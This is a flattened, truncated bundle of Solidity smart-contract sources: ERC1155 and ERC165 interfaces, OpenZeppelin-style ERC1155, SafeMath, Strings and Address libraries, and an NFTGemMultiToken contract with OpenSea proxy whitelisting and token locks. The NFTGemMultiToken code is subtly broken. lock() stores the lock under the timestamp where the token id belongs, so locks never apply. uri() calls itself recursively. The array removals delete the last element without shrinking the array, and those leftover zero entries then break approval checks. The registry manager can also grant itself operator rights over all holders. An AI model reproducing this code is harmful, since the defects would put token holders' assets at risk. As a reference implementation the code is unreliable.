transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface INFTGemMultiToken { // called by controller to mint a claim or a gem function mint( address account, uint256 tokenHash, uint256 amount ) external; // called by controller to burn a claim function burn( address account, uint256 tokenHash, uint256 amount ) external; function allHeldTokens(address holder, uint256 _idx) external view returns (uint256); function allHeldTokensLength(address holder) external view returns (uint256); function allTokenHolders(uint256 _token, uint256 _idx) external view returns (address); function allTokenHoldersLength(uint256 _token) external view returns (uint256); function totalBalances(uint256 _id) external view returns (uint256); function allProxyRegistries(uint256 _idx) external view returns (address); function allProxyRegistriesLength() external view returns (uint256); function addProxyRegistry(address registry) external; function removeProxyRegistryAt(uint256 index) external; function getRegistryManager() external view returns (address); function setRegistryManager(address newManager) external; function lock(uint256 token, uint256 timeframe) external; function unlockTime(address account, uint256 token) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor() { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; library Strings { function strConcat( string memory _a, string memory _b, string memory _c, string memory _d, string memory _e ) internal pure returns (string memory) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint256 k = 0; for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat( string memory _a, string memory _b, string memory _c, string memory _d ) internal pure returns (string memory) { return strConcat(_a, _b, _c, _d, ""); } function strConcat( string memory _a, string memory _b, string memory _c ) internal pure returns (string memory) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string memory _a, string memory _b) internal pure returns (string memory) { return strConcat(_a, _b, "", "", ""); } function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint256 j = _i; uint256 len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint256 k = len - 1; while (_i != 0) { bstr[k--] = bytes1(uint8(48 + (_i % 10))); _i /= 10; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IERC1155.sol"; import "../interfaces/IERC1155MetadataURI.sol"; import "../interfaces//IERC1155Receiver.sol"; import "../utils/Context.sol"; import "../introspection/ERC165.sol"; import "../libs/SafeMath.sol"; import "../utils/Address.sol"; /** * * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using SafeMath for uint256; using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) internal _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) internal _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * bytes4(keccak256('balanceOf(address,uint256)')) == 0x00fdd58e * bytes4(keccak256('balanceOfBatch(address[],uint256[])')) == 0x4e1273f4 * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('safeTransferFrom(address,address,uint256,uint256,bytes)')) == 0xf242432a * bytes4(keccak256('safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)')) == 0x2eb2c2d6 * * => 0x00fdd58e ^ 0x4e1273f4 ^ 0xa22cb465 ^ * 0xe985e9c5 ^ 0xf242432a ^ 0x2eb2c2d6 == 0xd9b67a26 */ bytes4 private constant _INTERFACE_ID_ERC1155 = 0xd9b67a26; /* * bytes4(keccak256('uri(uint256)')) == 0x0e89341c */ bytes4 private constant _INTERFACE_ID_ERC1155_METADATA_URI = 0x0e89341c; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); // register the supported interfaces to conform to ERC1155 via ERC165 _registerInterface(_INTERFACE_ID_ERC1155); // register the supported interfaces to conform to ERC1155MetadataURI via ERC165 _registerInterface(_INTERFACE_ID_ERC1155_METADATA_URI); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) external view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub(amount, "ERC1155: burn amount exceeds balance"); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) internal pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./ERC1155Receiver.sol"; /** * @dev _Available since v3.1._ */ contract ERC1155Holder is ERC1155Receiver { function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "./ERC1155.sol"; import "../utils/Pausable.sol"; /** * @dev ERC1155 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. * * _Available since v3.1._ */ abstract contract ERC1155Pausable is ERC1155, Pausable { /** * @dev See {ERC1155-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); require(!paused(), "ERC1155Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../interfaces/IERC1155Receiver.sol"; import "../introspection/ERC165.sol"; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { constructor() { _registerInterface( ERC1155Receiver(address(0)).onERC1155Received.selector ^ ERC1155Receiver(address(0)).onERC1155BatchReceived.selector ); } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; import "../libs/Strings.sol"; import "../libs/SafeMath.sol"; import "./ERC1155Pausable.sol"; import "./ERC1155Holder.sol"; import "../access/Controllable.sol"; import "../interfaces/INFTGemMultiToken.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract NFTGemMultiToken is ERC1155Pausable, ERC1155Holder, INFTGemMultiToken, Controllable { using SafeMath for uint256; using Strings for string; // allows opensea to address private constant OPENSEA_REGISTRY_ADDRESS = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; address[] private proxyRegistries; address private registryManager; mapping(uint256 => uint256) private _totalBalances; mapping(address => mapping(uint256 => uint256)) private _tokenLocks; mapping(address => uint256[]) private _heldTokens; mapping(uint256 => address[]) private _tokenHolders; /** * @dev Contract initializer. */ constructor() ERC1155("https://metadata.bitgem.co/") { _addController(msg.sender); registryManager = msg.sender; proxyRegistries.push(OPENSEA_REGISTRY_ADDRESS); } function lock(uint256 token, uint256 timestamp) external override { require(_tokenLocks[_msgSender()][token] < timestamp, "ALREADY_LOCKED"); _tokenLocks[_msgSender()][timestamp] = timestamp; } function unlockTime(address account, uint256 token) external view override returns (uint256 theTime) { theTime = _tokenLocks[account][token]; } /** * @dev Returns the metadata URI for this token type */ function uri(uint256 _id) public view override(ERC1155) returns (string memory) { require(_totalBalances[_id] != 0, "NFTGemMultiToken#uri: NONEXISTENT_TOKEN"); return Strings.strConcat(ERC1155Pausable(this).uri(_id), Strings.uint2str(_id)); } /** * @dev Returns the total balance minted of this type */ function allHeldTokens(address holder, uint256 _idx) external view override returns (uint256) { return _heldTokens[holder][_idx]; } /** * @dev Returns the total balance minted of this type */ function allHeldTokensLength(address holder) external view override returns (uint256) { return _heldTokens[holder].length; } /** * @dev Returns the total balance minted of this type */ function allTokenHolders(uint256 _token, uint256 _idx) external view override returns (address) { return _tokenHolders[_token][_idx]; } /** * @dev Returns the total balance minted of this type */ function allTokenHoldersLength(uint256 _token) external view override returns (uint256) { return _tokenHolders[_token].length; } /** * @dev Returns the total balance minted of this type */ function totalBalances(uint256 _id) external view override returns (uint256) { return _totalBalances[_id]; } /** * @dev Returns the total balance minted of this type */ function allProxyRegistries(uint256 _idx) external view override returns (address) { return proxyRegistries[_idx]; } /** * @dev Returns the total balance minted of this type */ function getRegistryManager() external view override returns (address) { return registryManager; } /** * @dev Returns the total balance minted of this type */ function setRegistryManager(address newManager) external override { require(msg.sender == registryManager, "UNAUTHORIZED"); require(newManager != address(0), "UNAUTHORIZED"); registryManager = newManager; } /** * @dev Returns the total balance minted of this type */ function allProxyRegistriesLength() external view override returns (uint256) { return proxyRegistries.length; } /** * @dev Returns the total balance minted of this type */ function addProxyRegistry(address registry) external override { require(msg.sender == registryManager, "UNAUTHORIZED"); proxyRegistries.push(registry); } /** * @dev Returns the total balance minted of this type */ function removeProxyRegistryAt(uint256 index) external override { require(msg.sender == registryManager, "UNAUTHORIZED"); require(index < proxyRegistries.length, "INVALID_INDEX"); proxyRegistries[index] = proxyRegistries[proxyRegistries.length - 1]; delete proxyRegistries[proxyRegistries.length - 1]; } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-free listings. */ function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) { // Whitelist OpenSea proxy contract for easy trading. for(uint256 i = 0; i < proxyRegistries.length; i++) { ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistries[i]); if (address(proxyRegistry.proxies(_owner)) == _operator) { return true; } } return ERC1155.isApprovedForAll(_owner, _operator); } /** * @dev mint some amount of tokens. Only callable by token owner */ function mint( address account, uint256 tokenHash, uint256 amount ) external override onlyController { _mint(account, uint256(tokenHash), amount, "0x0"); } /** * @dev internal mint overridden to manage token holders and held tokens lists */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual override { super._mint(account, id, amount, data); } /** * @dev internal minttbatch should account for managing lists */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._mintBatch(to, ids, amounts, data); } /** * @dev mint some amount of tokens. Only callable by token owner */ function burn( address account, uint256 tokenHash, uint256 amount ) external override onlyController { _burn(account, uint256(tokenHash), amount); } /** * @dev internal burn overridden to track lists */ function _burn( address account, uint256 id, uint256 amount ) internal virtual override { super._burn(account, id, amount); } /** * @dev internal burnBatch should account for managing lists */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual override { super._burnBatch(account, ids, amounts); } /** * @dev intercepting token transfers to manage a list of zero-token holders */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { // prevent send if tokens are locked if (from != address(0)) { require(_tokenLocks[from][ids[i]] <= block.timestamp, "TOKEN_LOCKED"); } // if this is not a mint then remove the held token id from lists if // this is the last token if this type the sender owns if (from != address(0) && balanceOf(from, ids[i]) - amounts[i] == 0) { // remove from heldTokens for (uint256 j = 0; j < _heldTokens[from].length; j++) { if (_heldTokens[from][j] == ids[i]) { _heldTokens[from][j] = _heldTokens[from][_heldTokens[from].length - 1]; delete _heldTokens[from][_heldTokens[from].length - 1]; } } // remove from tokenHolders for (uint256 j = 0; j < _tokenHolders[ids[i]].length; j++) { if (_tokenHolders[ids[i]][j] == from) { _tokenHolders[ids[i]][j] = _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; delete _tokenHolders[ids[i]][_tokenHolders[ids[i]].length - 1]; } } } // if this is not a burn and receiver does not yet own token then // add that account to the token for that id if (to != address(0) && balanceOf(to, ids[i]) == 0) { _heldTokens[to].push(ids[i]); _tokenHolders[ids[i]].push(to); } // inc and dec balances for each token type if (from == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].add(amounts[i]); } if (to == address(0)) { _totalBalances[uint256(ids[i])] = _totalBalances[uint256(ids[i])].sub(amounts[i]); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as 